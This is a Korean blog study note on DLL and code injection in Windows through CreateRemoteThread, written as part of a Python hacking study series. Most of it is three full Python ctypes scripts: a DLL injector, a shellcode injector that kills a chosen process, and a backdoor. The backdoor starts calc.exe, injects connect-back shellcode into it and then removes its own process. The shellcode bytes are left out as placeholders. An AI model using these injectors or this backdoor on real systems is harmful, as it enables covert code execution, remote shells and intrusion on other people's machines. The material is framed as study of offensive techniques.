[4주] 07장 DLL과 코드 인젝션
DLL 인젝션과 코드 인젝션에는 몇 가지 차이가 있지만 두 가지 방법 모두 원격스레드 생성이라는 동일한 방법으로 수행된다.
원격스레드를 생성하는 데 사용되는 Win32 API는 CreateRemoteThread()이다.
프로토타입
HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
DLL 인젝션 기술은 선악에 구분없이 오래동안 광범위하게 사용되어왔다.
DLL인젝션의 장점은 컴파일된 바이너리를 프로세스 내에 로드하고 그것을 해당 프로세스의 일부분으로 실행시킬 수 있다는 것이다.
프로세스가 DLL을 메모리에 로드하게 만들어보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | #dll_injector.py #-*- coding: utf-8 -*- import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VIRTUAL_MEM = (0x1000 | 0x2000) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) #DLL을 인젝션할 프로세스의 핸들을 구한다 h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: print "[*] Couldn't Acquired a Handle to PID : %s" % pid sys.exit(0) # DLL의 경로를 저장하기 위한 공간 할당 arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) #할당한 공간에 DLL의 경로를 써넣음 written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) #LoadLibraryA의 주소를 구함 h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") #원격스레드를 생성하고 DLL의 경로를 파라미터로 전달해 LoadLibraryA가 실행 thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed To Inject the DLL. Exiting." sys.exit(0) print "[*] Remote Thread With ID 0x%08x created" % thread_id.value | cs |
코드 인젝션은 실행중인 프로세스에 셸코드를 삽입해 메모리상에서 실행되게 만들 수 있다. 또한 공격자가 다른 프로세스로 셸 커넥션을 바꾸는 것이 가능하다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | #code_injector.py #-*- coding: utf-8 -*- import sys from ctypes import * #셸코드가 할당한 메모리 블록에서 실행될 수 있게 메모리 블록의 권한을 설정 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VIRTUAL_MEM = (0x1000 | 0x2000) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py [pid to="" inject=""] [pid to="" kill=""]" sys.exit(0) shellcode = #셸코드가 들어갈 자리 padding = 4 - (len(pid_to_kill)) replace_value = pid_to_kill + ("\x00" * padding) replace_string = "\x41" * 4 shellcode = shellcode.replace(replace_string, replace_value) code_size = len(shellcode) #인젝션을 수행할 프로세스의 핸들을 구한다. h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: print "[*] Couldn't acquire a handle to PID : %s" % pid sys.exit(0) #셸코드를 위한 공간을 할당 arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) #셸코드를 써넣는다. written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) #원격스레드를 생성하고 그것이 실행시킬 코드의 시작 주소를 셸코드의 시작 부분으로 설정. thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)): print "[*] Failed To Inject process-killing shellcode." sys.exit(0) print "[*] Remote thread created with a thread ID of : 0x%08x" % thread_id.value print "[*] Process %s shellcode should not ne running anymore!" % pid_to_kill | cs |
이번에는 인젝션 기술을 시스템의 권한을 획득하는 데 활용될 수 있는 백도어 제작에 사용해 보자
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | #backdoor.py #-*- coding: utf-8 -*- #my_debugger_defines.py파일 필요 import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VIRTUAL_MEM = (0x1000 | 0x2000) #원래의 실행 바이너리 path_to_exe = "C:\\calc.exe" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x01 startupinfo.wShowWindow = 0x00 startupinfo.cb = sizeof(startupinfo) #원래의 실행 바이너리 프로세스를 생성하고 PID저장 kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId def inject(pid, data, parameter = 0): #인젝션을 수행할 프로세스의 핸들을 구한다 h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: print "[*] Couldn't acquire a handler to PID : %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandlerA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") parameter = arg_address if not kernel32.CreateRemoteThread(h_process, None, 0, start_address, parameter, 0, byref(thread_id)): print "[*] Failed to inject the DLL" sys.exit(0) return True #이제 백도어 프로세스 자체를 종료시키기 위해 다른프로세스에 코드인젝션 수행 connect_back_shellcode = #shellcode inject( pid, connect_back_shellcode) our_pid = str(kernel32.GetCurrentProcessId()) process_killer_shellcode = #shellcode padding = 4 -(len(our_pid)) replace_value = our_pid + ("\x00" * padding) replace_string = "\x41" * 4 process_killer_shellcode= process_killer_shellcode.replace(replace_string, replace_value) inject(our_pid, process_killer_shellcode) | cs |
'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글
[5주] 09장 Sulley (0) | 2015.02.23 |
---|---|
[5주] 08장 퍼징 (0) | 2015.02.16 |
[3주] 05장~06장 후킹 (0) | 2015.01.26 |
[3주] 05장 - 윈도우 DEP우회 (0) | 2015.01.26 |
[3주] 05장 - Immunity Debugger 공격코드에서 사용할 명령찾기 (0) | 2015.01.26 |